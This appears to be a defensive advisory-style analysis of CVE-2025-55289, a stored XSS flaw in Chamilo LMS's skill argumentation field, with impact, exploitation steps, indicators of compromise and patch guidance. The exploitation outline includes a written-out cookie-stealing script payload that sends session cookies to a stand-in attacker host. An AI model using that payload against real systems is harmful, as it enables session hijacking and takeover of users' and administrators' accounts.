CVE-2025-55289: 
Chamilo vulnerability analysis and mitigation

CVE-2025-55289 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS affecting versions up to and including 1.11.32. The flaw resides in the Skills Argumentation feature, where the argumentation parameter is not properly sanitized, allowing an authenticated attacker to inject arbitrary JavaScript into the platform's social network and internal messaging features. It was disclosed on March 5–6, 2026, and patched in version 1.11.34. The CVSS v3.1 base score is 9.0 (Critical) per Feedly/NVD scoring, with the GitHub advisory assigning 8.8 (High) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the argumentation parameter in Chamilo's Skill management feature fails to sanitize user-supplied input before storing and rendering it (GitHub Advisory). An authenticated attacker with low privileges can submit a crafted payload via the skill argumentation field; when an administrator or other authenticated user views the affected skill profile or social network/messaging content, the stored JavaScript executes in their browser within the LMS context. No user interaction is required on the attacker's part beyond submitting the payload, though a victim must view the malicious content for execution to occur.

Successful exploitation enables full account takeover via session hijacking, unauthorized actions performed with the victim's privileges (including administrator-level access), exfiltration of sensitive LMS data, and potential self-propagation of the malicious payload to other users through the platform's messaging and social network features (GitHub Advisory, Red Hat CVE). Because administrators are among the potential victims, a successful attack could result in complete compromise of the LMS environment, affecting confidentiality, integrity, and availability of all hosted educational data and user accounts.

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Red Hat CVE). The EPSS score is approximately 0.047% (0.000470), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privilege authenticated account on the target Chamilo instance, limiting the attack surface to registered users.

1. Reconnaissance: Identify a Chamilo LMS instance running version 1.11.32 or earlier. Confirm access to the Skills/Skill management feature with a low-privilege authenticated account.
2. Craft payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more sophisticated payload for session token exfiltration.
3. Inject payload: Navigate to the Skill management feature and assign a skill to a user. In the argumentation parameter field, insert the crafted JavaScript payload and submit the form.
4. Wait for victim interaction: The payload is now stored in the LMS database. When an authenticated user (e.g., an administrator reviewing skill assignments) views the affected skill profile, social network page, or internal message, the JavaScript executes in their browser.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim, exfiltrate sensitive data, or propagate the payload to additional users via the messaging feature (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from users' browsers to external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from LMS page interactions; unusual POST requests to skill management endpoints containing script tags or encoded JavaScript.
• Logs: Web server access logs showing submissions to skill argumentation endpoints with payloads containing <script>, javascript:, or encoded variants (e.g., %3Cscript%3E); LMS application logs recording unusual skill assignment activity from low-privilege accounts.
• File System: No direct file system artifacts expected for a stored XSS; however, database records in the skill argumentation table containing unsanitized HTML/JavaScript should be treated as IOCs.
• Process/Session: Unexpected session activity from administrator accounts at unusual times or from unfamiliar IP addresses, potentially indicating session hijacking following XSS exploitation.

Upgrade Chamilo LMS to version 1.11.34 or later, which includes input sanitization fixes for the skill argumentation parameter and other XSS-related security improvements (GitHub Release, GitHub Advisory). As interim mitigations, administrators should implement a strict Content Security Policy (CSP) header to limit script execution, restrict access to the Skill management feature to trusted users only, and review access logs for suspicious activity in social network and messaging features. There is no vendor-documented workaround short of upgrading.

The vulnerability was reported by security researcher dishant550 and published via GitHub's security advisory program on March 5, 2026 (GitHub Advisory). Red Hat tracked the CVE in their security database, and ENISA's EUVD catalogued it as EUVD-2025-208338 (Red Hat CVE). No significant broader media coverage or notable social media discussion beyond standard vulnerability aggregator postings was observed.